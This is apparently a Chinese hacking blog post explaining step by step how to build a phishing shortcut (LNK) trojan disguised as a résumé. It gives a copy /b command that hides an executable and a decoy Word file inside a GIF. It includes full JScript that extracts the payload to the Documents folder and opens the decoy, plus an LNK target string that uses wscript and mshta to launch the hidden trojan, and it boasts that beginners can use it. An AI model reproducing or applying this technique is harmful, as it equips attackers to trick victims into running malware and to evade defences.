来自海洋顶端思路
lnk 文件是用于指向其他文件的一种快捷方式,方便使用者快速的调用。用快捷方式的木马来钓鱼的优势是,可以写入免杀的shell代码,双击即可执行,而且还可以修改图标后,能更好地诱骗客户执行!
我在freebuf和市面上看到基本所有制做的恶意lnk文件,普遍是用到了powershell来下载执行shellcode,这种方式不是不可以,但是缺点一是存在了下载执行,有可能绕不过waf;二是对shellcode和powershell的免杀也存在了一定的困难。所以我们来重新改造一个轮子,思路就是让木马在本地执行,让木马和lnk文件放在一起。
先来看一下成果图:
![W7M61V]K7Y3}GRW0TQPJL[N.png](http://www.hackyh.com/zb_users/upload/2021/5/2021052469534489.png)
新型的lnk木马钓鱼
这里只要双击一下(图1)中我的简历,就会打开一份正常的word文档,同时我们的木马就会执行了。图1中的pic.gif打开也是一张正常的图片,jl.jpg存放了我们的代码。我是用的计算器做的测试,效果如下图2:
![{M(5%@@S6LK0EZ1B}C]W2%0.png](http://www.hackyh.com/zb_users/upload/2021/5/2021052469885105.png)
写一个新型的lnk木马来钓鱼
这个恶意的lnk文件制做方法如下:
一、把一张图片、你的木马.exe、简历.doc合并成图1中的pic.gif
copy /b 1.gif +muma.exe +简历.doc pic.gif
写一个新型的lnk木马来钓鱼
(图3)

二、来编写我们的代码,这个代码存在于(图1)中的jl.jpg。
代码我是用js来写的,这样不会因为用powershell语言来写漏掉一些windows xp和win7老用户。代码和详细注释如下:
var stmp;
var fso = new ActiveXObject("Scripting.FileSystemObject");
var app=new ActiveXObject("Shell.Application");
var fpexe=app.Namespace(0x5).Self.Path+"\\s.exe";//存放你的木马,我是存在了当前用户的文档下,名字为s.exe,可以改名。
var fpdoc=app.Namespace(0x5).Self.Path+"\\snew_.doc";//存放你的简历,名字为snew_.doc,可以改名
var fpjs=app.Namespace(0x5).Self.Path+"\\snews_.jpg";//以前老版本残留,不需要了。
var picgif=fso.GetFolder(".").Path+"\\pic.gif";//调用我们图1中用dos命令合并的pic.gif
function Findfile(filespec) //判断文 件是否存在函数
{
if (fso.FileExists(filespec))
stmp = 1;
else
stmp = 0;
return(stmp);
}
if (!Findfile(picgif))
{
WScript.echo("无法加载图片");
}
if (!Findfile(fpexe)) {
writeBytes(picgif, 0X1339, 28672, fpexe); //在pic.gif文件中找到exe文件起始位置 0X1339和exe字节数本身大小,写入我的文档目录。
}
if (!Findfile(fpdoc))
{
writeBytes(picgif,0x8339,25600,fpdoc);//在pic.gif文件中找到doc文件起始位置 0x8339和doc字节数本身大小,写入我的文档目录。
}
if (!Findfile(fpjs)) //老版本残留,不需要了
{
//writeBytes(picgif,0xE739,667,fpjs);
}
if (Findfile(fpexe)) //注意在这里我并没有执行exe,执行代码让我注释掉了。我会在文章中解释
{
//var shellapp=new ActiveXObject("Shell.Application");
//shellapp.open(fpexe);
//var WshShell = new ActiveXObject("WScript.Shell");
//WshShell.Run("powershell "+fpexe, 0, true);
}
if (Findfile(fpdoc)) //执行doc
{
var shellapp=new ActiveXObject("Shell.Application");
shellapp.open(fpdoc);
}
if (Findfile(fpjs))
{
//var WshShell = new ActiveXObject("WScript.Shell");
// WshShell.Run("wscript //E:JScript "+fpjs, 0, true);
}
function writeBytes(sSrcFile, iPosStart, iLen, sTargetFile)
{
var stream = new ActiveXObject("ADODB.Stream");
stream.Type = 1;
stream.Open();
stream.LoadFromFile(sSrcFile);
stream.Position = iPosStart;
var bytes = stream.Read(iLen);
stream.Close();
stream.Open();
stream.Write(bytes);
stream.SaveToFile(sTargetFile, 2);
stream.Close();
}
//var del=fso.DeleteFile(WScript.ScriptFullName)
请仔细阅读上文中的注释。可能有人会疑惑上边代码中第31行的0x1339是如何来的呢?其实exe文件的文件头是4D5A,我们只要用一个16进制编辑器打开你合并的pic.gif就明白了,如下图:
写一个新型的lnk木马来钓鱼
(图4)

三、制做我们的简历的lnk文件,把图1中三个文件合并在一起调用
看一下成果图1中的我的简历.doc的右键属性:
写一个新型的lnk木马来钓鱼
(图5)

图5中起始位改为%cd%,这样会在当前目录调用jl.jpg里的代码。
图5中的目标里的代码内容是:
%comspec% /c "wscript /E:JScript jl.jpg&&mshta "about:<script language=vbs>s=CreateObject("Shell.Application").Namespace(&H5).Self.Path+"\s.exe":createobject("wscript.shell").run(s):window.close </script>""
来解释一下:wscript /E:JScript jl.jpg把jl.jpg当成js来执行。后边一串是用mshta执行一段本地vbs,找到文档中的s.exe去执行,就是你的木马文件。
当然了,如果你仔细看了我的代码的话,你也可以在js中直接执行木马。那么lnk文件的目标改为%comspec% /c "wscript /E:JScript jl.jpg“就可以了。
思路和代码都给出了!就算小白也可以操作!能用的地方很多很多!自己研究下!